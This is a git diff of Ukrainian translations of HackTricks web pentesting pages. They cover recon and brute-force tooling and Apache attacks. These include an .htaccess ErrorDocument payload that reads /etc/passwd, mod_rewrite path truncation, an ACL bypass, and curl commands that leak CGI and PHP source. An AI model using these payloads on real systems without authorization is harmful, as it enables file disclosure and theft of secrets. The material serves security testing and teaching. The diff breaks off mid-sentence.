[**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider-ом, але може бути корисним. Ви можете вказати файл з hosts і файл з paths, і meg звантажить кожен path для кожного host та збереже відповіді. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider з можливістю рендерингу JS. Однак, схоже, що проект не підтримується, попередньо скомпільована версія стара і поточний код не компілюється -- [**gau**](https://github.com/lc/gau) (go): HTML spider, що використовує зовнішніх провайдерів (wayback, otx, commoncrawl) -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Скрипт, що знайде URL-адреси з параметрами і перелічить їх. +- [**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider, але може бути корисним. Ви можете вказати файл з hosts та файл з paths, і meg завантажить кожен path для кожного host та збереже відповіді. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider з можливістю рендерингу JS. Однак, здається, що він не підтримується, попередньо скомпільована версія стара і поточний код не компілюється. +- [**gau**](https://github.com/lc/gau) (go): HTML spider, який використовує зовнішніх провайдерів (wayback, otx, commoncrawl) +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Скрипт, який знайде URL з параметрами і виведе їх список. - [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider з можливістю рендерингу JS. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider з можливістю JS beautify, здатний шукати нові шляхи в JS-файлах. Також варто глянути на [JSScanner](https://github.com/dark-warlord14/JSScanner), який є wrapper-ом LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Для витягання endpoints в HTML-коді та вбудованих javascript-файлах. Корисно для bug hunters, red teamers, infosec ninjas. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 скрипт, що використовує Tornado і JSBeautifier для парсингу відносних URL з JavaScript-файлів. Корисно для швидкого виявлення AJAX-запитів. Схоже, що не підтримується. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Приймає файл (HTML) і витягує URL з нього, використовуючи корисні регулярні вирази для знаходження і витягання відносних URL з "уродливих" (minify) файлів. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Збирає цікаву інформацію з JS-файлів, використовуючи кілька інструментів. -- [**subjs**](https://github.com/lc/subjs) (go): Знаходить JS-файли. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Завантажує сторінку в headless browser і виводить всі URL, які були підвантажені для відображення сторінки. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Інструмент для discovery контенту, що поєднує кілька опцій попередніх інструментів -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Розширення для Burp для пошуку шляхів і параметрів у JS-файлах. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Інструмент, який, маючи URL .js.map, дає вам beautified JS-код -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Інструмент для виявлення endpoints для заданого таргету. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Виявляє посилання з wayback machine (також завантажує відповіді з wayback і шукає більше посилань) -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Краулер (навіть заповнюючи форми) і також знаходить чутливу інформацію за допомогою специфічних regex-ів. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite — просунутий багатофункціональний GUI web security Crawler/Spider для фахівців з кібербезпеки. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Go-пакет і [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) для витягання URL, шляхів, секретів та іншої цікавої інформації з JavaScript-коду. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge — просте **Burp Suite extension** для **витягання параметрів та endpoints** з запитів для створення кастомних wordlist-ів для fuzzing та enumeration. -- [**katana**](https://github.com/projectdiscovery/katana) (go): Відмінний інструмент для цього. -- [**Crawley**](https://github.com/s0rg/crawley) (go): Друкує всі посилання, які йому вдається знайти. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider з можливістю beautify JS, здатний шукати нові шляхи у JS файлах. Також варто глянути на [JSScanner](https://github.com/dark-warlord14/JSScanner), який є обгорткою для LinkFinder. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Для витягування endpoints як з HTML-джерела, так і з вбудованих javascript файлів. Корисно для bug hunters, red teamers, infosec ninjas. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Скрипт на python 2.7 з Tornado і JSBeautifier для парсингу відносних URL з JavaScript файлів. Корисний для швидкого виявлення AJAX-запитів. Здається, що не підтримується. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Дає файл (HTML) і витягує URL з нього, використовуючи хитрі регулярні вирази для знаходження і витягання відносних URL з зламаних (minify) файлів. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Збирає цікаву інформацію з JS файлів за допомогою кількох інструментів. +- [**subjs**](https://github.com/lc/subjs) (go): Знаходить JS файли. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Завантажує сторінку в headless browser і виводить всі URL, які були підвантажені для завантаження сторінки. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Інструмент для content discovery, що поєднує кілька опцій попередніх інструментів. +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Розширення Burp для знаходження шляхів і параметрів у JS файлах. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Інструмент, який за .js.map URL дає вам beautified JS код. +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Інструмент для виявлення endpoints для заданої цілі. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Відкриває посилання з wayback machine (також завантажуючи відповіді у wayback і шукаючи більше посилань). +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Краулер (навіть заповнюючи форми) та також знаходить чутливу інформацію використовуючи специфічні regex-и. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite — це просунутий мультіфункціональний GUI web security Crawler/Spider для спеціалістів з кібербезпеки. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Пакет на Go та [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) для витягання URL, шляхів, секретів та іншої цікавої інформації з JavaScript source code. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge — просте **Burp Suite extension** для **витягання параметрів і endpoints** з request-ів для створення кастомних wordlist-ів для fuzzing та enumeration. +- [**katana**](https://github.com/projectdiscovery/katana) (go): Чудовий інструмент для цього. +- [**Crawley**](https://github.com/s0rg/crawley) (go): Виводить кожне посилання, яке йому вдається знайти. ### Brute Force directories and files -Почніть **brute-forcing** з кореневої теки і переконайтесь, що ви brute-force-ите **всі** **знайдені директорії** за **цією методою** і всі директорії, **виявлені** під час **Spidering** (ви можете виконувати brute-forcing **рекурсивно**, додаючи на початок вживаного wordlist-у імена знайдених директорій).\ +Починайте **brute-forcing** з кореневої папки і переконайтесь, що ви brute-force-ите **всі** **директорії, знайдені** цим методом, а також усі директорії, **виявлені** під час **Spidering** (ви можете робити brute-forcing **рекурсивно** і додавати на початок використовуваного wordlist імена знайдених директорій).\ Інструменти: -- **Dirb** / **Dirbuster** - Включені в Kali, **старі** (і **повільні**), але працездатні. Дозволяють auto-signed certificates та рекурсивний пошук. Занадто повільні в порівнянні з іншими опціями. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Не дозволяє auto-signed certificates але** підтримує рекурсивний пошук. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): Дозволяє auto-signed certificates, але **не** має **рекурсивного** пошуку. +- **Dirb** / **Dirbuster** - Включено в Kali, **старі** (і **повільні**), але функціональні. Дозволяють auto-signed certificates і рекурсивний пошук. Занадто повільні у порівнянні з іншими опціями. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Не дозволяє auto-signed certificates, але** дозволяє рекурсивний пошук. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): Дозволяє auto-signed certificates, але **не має** **рекурсивного** пошуку. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): Це не spider, але інструмент, який, маючи список знайдених URL-ів, видалить "дублікати" URL-ів. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension для створення списку директорій з burp history різних сторінок -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Видаляє URL-и з дубльованим функціоналом (на основі js imports) -- [**Chamaleon**](https://github.com/iustin24/chameleon): Використовує wapalyzer для визначення використовуваних технологій і підбору словників для використання. +- [**uro**](https://github.com/s0md3v/uro) (python): Це не spider, але інструмент, який з даного списку знайдених URL видалить "дублікати" URL. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension для створення списку директорій з burp history різних сторінок. +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Видаляє URL з дубльованим функціоналом (на основі js imports). +- [**Chamaleon**](https://github.com/iustin24/chameleon): Використовує wapalyzer для визначення використаних технологій і підбору відповідних wordlists. -Рекомендовані словники: +**Рекомендовані словники:** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) @@ -267,41 +267,41 @@ sslyze --regular - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Зверніть увагу, що щоразу, коли під час brute-forcing або spidering знаходиться нова директорія, її слід Brute-Force-ити._ +_Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється нова директорія, її слід Brute-Force-ити._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Знаходить биті посилання в HTML, які можуть бути вразливими до takeover -- **File Backups**: Після того як ви знайшли всі файли, шукайте бекапи всіх виконуваних файлів ("_.php_", "_.aspx_"...). Типові варіації імен для бекапу: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp та file.old._ Також можна використовувати інструмент [**bfac**](https://github.com/mazen160/bfac) **або** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Discover new parameters**: Ви можете використовувати інструменти як [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **та** [**Param Miner**](https://github.com/PortSwigger/param-miner) **для виявлення прихованих параметрів. Якщо можливо, спробуйте шукати** приховані параметри в кожному виконуваному веб-файлі. +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Знайти broken links всередині HTML, які можуть бути вразливими до takeover. +- **File Backups**: Після того як ви знайшли всі файли, шукайте бекапи всіх виконуваних файлів ("_.php_", "_.aspx_"...). Поширені варіації імен для бекапів: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp та file.old._ Також можна використати інструмент [**bfac**](https://github.com/mazen160/bfac) **або** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Discover new parameters**: Ви можете використовувати інструменти, такі як [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **та** [**Param Miner**](https://github.com/PortSwigger/param-miner) **для виявлення прихованих параметрів. Якщо можливо, спробуйте шукати** приховані параметри у кожному виконуваному web-файлі. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** Перевіряйте коментарі в усіх файлах — там можна знайти **credentials** або **приховану функціональність**. -- Якщо ви граєте в **CTF**, "поширений" трюк — **ховати** **інформацію** в коментарях праворуч на **сторінці** (використовуючи **сотні** пробілів, щоб ви не бачили дані при відкритті сорсу у браузері). Інша можливість — використовувати **кілька пустих рядків** і сховати інформацію в коментарі в **низу** веб-сторінки. -- **API keys**: Якщо ви **знайдете будь-який API key**, є керівництва по використанню API keys різних платформ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: Якщо знайдете API key, що починається на **AIza** (наприклад **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik), можна використати проект [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) щоб перевірити, до яких API має доступ ключ. -- **S3 Buckets**: Під час spidering перевіряйте, чи будь-який **subdomain** або **link** пов’язаний з якимось **S3 bucket**. У такому випадку [**перевірте** **permissions** бакету](buckets/index.html). +- **Comments:** Перевіряйте коментарі у всіх файлах — там можна знайти **credentials** або **приховану функціональність**. +- Якщо ви граєте в **CTF**, "поширений" трюк — **ховати** **інформацію** всередині коментарів праворуч від сторінки (використовуючи **сотні** пробілів, щоб ви не бачили дані при відкритті коду у браузері). Інша можливість — використовувати **кілька нових рядків** і **сховати інформацію** в коментарі внизу веб-сторінки. +- **API keys**: Якщо ви **знайдете будь-який API key**, існують гайди/проекти, які показують, як використовувати API keys різних платформ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: Якщо ви знайдете API key, що починається з **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik — ви можете використати проект [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) щоб перевірити, до яких API ключ має доступ. +- **S3 Buckets**: Під час spidering перевіряйте, чи якийсь **subdomain** або **link** пов'язаний з S3 bucket. У такому випадку [**перевірте** права доступу до bucket](buckets/index.html). ### Special findings -**Під час** виконання **spidering** та **brute-forcing** ви можете знайти **цікаві** **речі**, про які слід **повідомити**. +Під час виконання **spidering** та **brute-forcing** ви можете знайти **цікаві** **речі**, на які слід звернути увагу. **Interesting files** - Шукайте **посилання** на інші файли всередині **CSS** файлів. -- [If you find a _**.git**_ file some information can be extracted](git.md) -- Якщо ви знайдете _**.env**_, можна знайти інформацію, таку як api keys, паролі до БД та інші дані. -- Якщо ви знайдете **API endpoints**, вам слід також [протестувати їх](web-api-pentesting.md). Це не файли, але вони, ймовірно, "виглядатимуть" як такі. -- **JS files**: У секції spidering згадувалися кілька інструментів, що можуть витягувати шляхи з JS-файлів. Також корисно **моніторити кожен знайдений JS-файл**, оскільки іноді зміна може вказувати на введення потенційно вразливого функціоналу. Наприклад, можна використовувати [**JSMon**](https://github.com/robre/jsmon)**.** -- Ви також повинні перевіряти знайдені JS-файли за допомогою [**RetireJS**](https://github.com/retirejs/retire.js/) або [**JSHole**](https://github.com/callforpapers-source/jshole) щоб виявити, чи вони вразливі. +- [Якщо ви знайдете _**.git**_ файл, з нього можна витягти деяку інформацію](git.md) +- Якщо ви знайдете _**.env**_, там можна знайти інформацію, наприклад api keys, паролі до БД та інші дані. +- Якщо ви знайдете **API endpoints**, ви [повинні також протестувати їх](web-api-pentesting.md). Це не файли, але вони, ймовірно, будуть "виглядати" як файли. +- **JS files**: У розділі spidering згадувались інструменти, які можуть витягувати шляхи з JS файлів. Також корисно **моніторити кожен знайдений JS файл**, оскільки в деяких випадках зміни можуть вказувати, що в код було внесено потенційну вразливість. Можете використати, наприклад, [**JSMon**](https://github.com/robre/jsmon)**.** +- Також варто перевіряти виявлені JS файли за допомогою [**RetireJS**](https://github.com/retirejs/retire.js/) або [**JSHole**](https://github.com/callforpapers-source/jshole) на наявність відомих вразливостей. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- У багатьох випадках потрібно **розуміти регулярні вирази**, що використовуються. Це буде корисно: [https://regex101.com/](https://regex101.com) або [https://pythonium.net/regex](https://pythonium.net/regex) -- Ви також можете **моніторити файли, де були виявлені форми**, оскільки зміна параметра або поява нової форми може свідчити про потенційно вразливий функціонал. +- У багатьох випадках вам знадобиться **розуміти регулярні вирази**, які використовуються. Це буде корисно: [https://regex101.com/](https://regex101.com) або [https://pythonium.net/regex](https://pythonium.net/regex) +- Ви також можете **моніторити файли, в яких були знайдені форми**, оскільки зміна параметрів або поява нової форми може вказувати на потенційно нову вразливу функціональність. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -312,28 +312,28 @@ _Зверніть увагу, що щоразу, коли під час brute-fo **502 Proxy Error** -Якщо будь-яка сторінка **відповідає** цим **кодом**, ймовірно це **погано налаштований proxy**. **Якщо ви надішлете HTTP-запит типу: `GET https://google.com HTTP/1.1`** (з Host header та іншими стандартними заголовками), **proxy** спробує **доступитися** до _**google.com**_ **і ви знайдете** SSRF. +Якщо будь-яка сторінка відповідає цим **кодом**, ймовірно це **неправильно налаштований proxy**. **Якщо ви відправите HTTP-запит типу: `GET https://google.com HTTP/1.1`** (з заголовком host та іншими загальними заголовками), **proxy** спробує доступитися до _**google.com**_ **і ви знайдете** SSRF. **NTLM Authentication - Info disclosure** -Якщо сервер, що вимагає аутентифікацію, — **Windows**, або ви натрапите на логін, який запитує ваші **credentials** (і просить **domain** **name**), ви можете спричинити **витік інформації**.\ -**Надішліть** заголовок: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` і через те, як працює **NTLM authentication**, сервер відповість внутрішньою інфою (версія IIS, версія Windows...) у заголовку "WWW-Authenticate".\ -Ви можете **автоматизувати** це за допомогою **nmap plugin** "_http-ntlm-info.nse_". +Якщо сервер, який запитує аутентифікацію, — **Windows**, або ви бачите логін, що просить ваші **credentials** (і запитує **domain** **name**), ви можете спричинити **витік інформації**.\ +Відправте заголовок: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` і через те, як працює **NTLM authentication**, сервер відповість внутрішньою інформацією (версія IIS, версія Windows...) у заголовку "WWW-Authenticate".\ +Ви можете **автоматизувати** це за допомогою nmap плагіна "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -Можна **вкладати контент** всередину **Redirection**. Цей контент **не буде показаний користувачу** (бо браузер виконає редирект), але там можна **сховати** інформацію. +Можна **вкласти контент** всередину **редиректу**. Цей контент **не буде відображатися користувачу** (бо браузер виконає редирект), але в ньому може бути **схована** інформація. ### Web Vulnerabilities Checking -Тепер, коли виконано всебічну енумерацію веб-додатку, час перевірити багато можливих вразливостей. Чекліст доступний тут: +Тепер, коли виконана всебічна енумерація веб-застосунку, настав час перевірити велику кількість можливих вразливостей. Чекліст доступний тут: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} -Детальніше про web vulns: +Дізнайтесь більше про web vulns тут: - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) @@ -341,7 +341,7 @@ _Зверніть увагу, що щоразу, коли під час brute-fo ### Monitor Pages for changes -Ви можете використовувати інструменти, такі як [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) для моніторингу сторінок на предмет змін, що можуть вносити вразливості. +Ви можете використовувати інструменти, такі як [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io), щоб моніторити сторінки на предмет змін, які можуть ввести вразливості. ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index d5caa398e..95d95c586 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -## Виконувані PHP-розширення +## Виконувані PHP розширення -Перевірте, які розширення виконує сервер Apache. Щоб їх знайти, виконайте: +Дізнайтеся, які розширення виконує сервер Apache. Щоб знайти їх, ви можете виконати: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -Також деякі місця, де ви можете знайти цю конфігурацію: +Також, деякі місця, де ви можете знайти цю конфігурацію: ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -23,12 +23,12 @@ Linux ``` ## LFI via .htaccess ErrorDocument file provider (ap_expr) -Якщо ви можете контролювати .htaccess каталогу і AllowOverride включає FileInfo для цього шляху, ви можете перетворити відповіді 404 у довільне читання локальних файлів, використовуючи функцію file() з ap_expr всередині ErrorDocument. +Якщо ви можете контролювати .htaccess каталогу і AllowOverride включає FileInfo для цього шляху, ви можете перетворити відповіді 404 на довільне читання локальних файлів, використовуючи функцію ap_expr file() всередині ErrorDocument. - Вимоги: - Apache 2.4 з увімкненим парсером виразів (ap_expr) (за замовчуванням у 2.4). -- vhost/dir повинен дозволяти .htaccess встановлювати ErrorDocument (AllowOverride FileInfo). -- Користувач Apache, від імені якого працює процес, повинен мати права читання на цільовий файл. +- vhost/dir має дозволяти .htaccess встановлювати ErrorDocument (AllowOverride FileInfo). +- Користувач Apache worker повинен мати права читання на цільовий файл. .htaccess payload: ```apache @@ -37,17 +37,17 @@ Header always set X-Debug-Tenant "demo" # On any 404 under this directory, return the contents of an absolute filesystem path ErrorDocument 404 %{file:/etc/passwd} ``` -Спрацьовує при запиті будь-якого неіснуючого шляху всередині цієї директорії, наприклад при зловживанні userdir-style hosting: +Спрацює при запиті будь-якого неіснуючого шляху в цій директорії, наприклад при зловживанні userdir-style hosting: ```bash curl -s http://target/~user/does-not-exist | sed -n '1,20p' ``` -Notes and tips: -- Працюють тільки абсолютні шляхи. Вміст повертається як тіло відповіді для 404 handler. -- Effective read permissions належать користувачу Apache (зазвичай www-data/apache). Ви не зможете прочитати /root/* або /etc/shadow у стандартних налаштуваннях. -- Навіть якщо .htaccess належить root, якщо батьківський каталог належить tenant і дозволяє перейменування, ви можете змогти перейменувати оригінальний .htaccess і завантажити власну заміну через SFTP/FTP: +Примітки та поради: +- Працюють лише абсолютні шляхи. Вміст повертається як тіло відповіді для 404 handler. +- Ефективні права читання — ті, що має Apache user (зазвичай www-data/apache). Ви не зможете прочитати /root/* або /etc/shadow у стандартних налаштуваннях. +- Навіть якщо .htaccess належить root, якщо батьківський каталог tenant-owned і дозволяє перейменування, ви можете перейменувати оригінальний .htaccess і завантажити власну заміну через SFTP/FTP: - rename .htaccess .htaccess.bk - put your malicious .htaccess -- Використовуйте це, щоб прочитати вихідний код додатку під DocumentRoot або vhost config paths для збору секретів (DB creds, API keys, тощо). +- Використовуйте це, щоб читати код застосунку під DocumentRoot або vhost config paths для збору секретів (DB creds, API keys, тощо). ## Confusion Attack @@ -57,11 +57,11 @@ These types of attacks has been introduced and documented [**by Orange in this b #### Truncation -The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. But in other occasions this will be treated as file path, which would cause a problem. +The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem. - **Path Truncation** -It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`: +Можна зловживати `mod_rewrite`, як у наведеному нижче прикладі правила, щоб отримати доступ до інших файлів у файловій системі, видаляючи останню частину очікуваного шляху простим додаванням `?`: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -76,7 +76,7 @@ curl http://server/user/orange%2Fsecret.yml%3F ``` - **Mislead RewriteFlag Assignment** -У наступному правилі перепису, доки URL закінчується на .php, воно буде трактуватися й виконуватися як php. Тому можна відправити URL, що закінчується на .php після символу `?`, підвантаживши в шляху файл іншого типу (наприклад, зображення) з шкідливим php-кодом всередині: +У наведеному нижче правилі перепису, поки URL закінчується на .php, він буде розглядатися і виконуватися як php. Отже, можливо надіслати URL, що закінчується на .php після символу `?`, при цьому в шляху завантажити інший тип файлу (наприклад, зображення) з вкладеним шкідливим php-кодом: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL Bypass** -Можна отримати доступ до файлів, до яких користувач не повинен мати доступ, навіть якщо доступ має бути заборонений при конфігураціях, таких як: +Можливо отримати доступ до файлів, до яких користувач не повинен мати доступ, навіть якщо доступ має бути заборонений за допомогою конфігурацій на кшталт: ```xml AuthType Basic @@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -Це відбувається тому, що за замовчуванням PHP-FPM отримує URL, що закінчуються на `.php`, наприклад `http://server/admin.php%3Fooo.php`, і оскільки PHP-FPM видаляє все після символу `?`, попередній URL дозволить завантажити `/admin.php`, навіть якщо попереднє правило це забороняло. +Це тому, що за замовчуванням PHP-FPM отримує URL-и, що закінчуються на `.php`, наприклад `http://server/admin.php%3Fooo.php`, і оскільки PHP-FPM видаляє все, що йде після символу `?`, попередній URL дозволить завантажити `/admin.php`, навіть якщо попереднє правило це забороняло. ### Плутанина з DocumentRoot ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -Цікавий факт про Apache: попередній rewrite намагатиметься звернутися до файлу як із documentRoot, так і з root. Тому запит до `https://server/abouth.html` перевірить наявність файлу в `/var/www/html/about.html` та `/about.html` у файловій системі. Це, по суті, може бути використано для доступу до файлів у файловій системі. +A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to `https://server/abouth.html` will check for the file in `/var/www/html/about.html` and `/about.html` in the file system. Which basically can be abused to access files in the file system. #### **Розкриття вихідного коду на стороні сервера** - **Розкриття вихідного коду CGI** -Достатньо додати %3F наприкінці, щоб leak вихідний код CGI-модуля: +Достатньо просто додати %3F в кінці, щоб leak вихідний код cgi модуля: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -123,9 +123,9 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # ... # # the source code of download.cgi ``` -- **Розкриття вихідного коду PHP** +- **Розкриття PHP Source Code** -Якщо сервер має кілька доменів, і один із них — статичний домен, цим можна зловживати для обходу файлової системи та leak php code: +Якщо на сервері є кілька доменів, один із яких є статичним, це можна використати для обходу файлової системи та leak php code: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" @@ -133,52 +133,52 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" ``` #### **Local Gadgets Manipulation** -Основна проблема попередньої атаки полягає в тому, що за замовчуванням більшість доступів до файлової системи буде заборонено, як у Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): +Головна проблема з попереднім attack полягає в тому, що за замовчуванням більшість доступу до filesystem буде заборонено, як у Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): ```xml AllowOverride None Require all denied ``` -Однак, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) операційні системи за замовчуванням дозволяють `/usr/share`: +Однак [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) операційні системи за замовчуванням дозволяють 